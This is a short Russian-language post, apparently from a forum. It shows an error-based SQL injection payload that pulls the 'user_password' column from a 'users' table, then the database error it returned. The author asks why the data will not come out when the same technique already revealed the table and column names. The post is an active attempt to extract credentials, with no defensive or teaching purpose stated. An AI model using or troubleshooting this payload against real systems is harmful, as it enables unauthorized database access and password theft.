id=(1)and(select 1 from(select count(*),concat((SELECT user_password from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--

Subquery returns more than 1 row

В чем трабл? имена колонок и таблиц таким способом узнал, а данные не извлекаются